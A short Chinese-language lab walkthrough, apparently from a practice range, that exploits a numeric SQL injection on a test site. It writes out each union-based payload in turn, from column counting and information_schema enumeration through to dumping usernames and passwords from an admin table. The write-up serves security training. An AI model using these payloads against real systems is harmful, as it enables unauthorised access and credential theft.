靶场第1题,SQL注入
题目
链接:http://59.63.200.79:8003/
解题思路
打开链接,发现是一个网站,里面有个点击新闻,尝试点开。。。。
点开以后,域名变为:http://59.63.200.79:8003/?id=1
怀疑是不是有数字型SQL注入呢?
构造payload试一试
使用hackbar构造payload and 1=1,发现回显成功。。
构造and 1=2,发现回显失败。。所以判定为数字型SQL注入。下面开始SQL联合注入。。。
第一步:判断字段数
构造payload :http://59.63.200.79:8003/?id=1 order by 2#
回显成功,说明数据库有两个字段(列)
第二步:判断回显位置(方便获取数据库信息)
构造payload: http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
获取到显示位
第三步:获取当前数据库信息
构造payload:
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()#
第四步:获取数据库表
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
发现admin表,这个表中一般存放账号和密码
第五步:获取字段
构造 http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’#
第六步:获取数据
构造获取用户名:http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username) from admin#
构造获取密码:http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(password) from admin#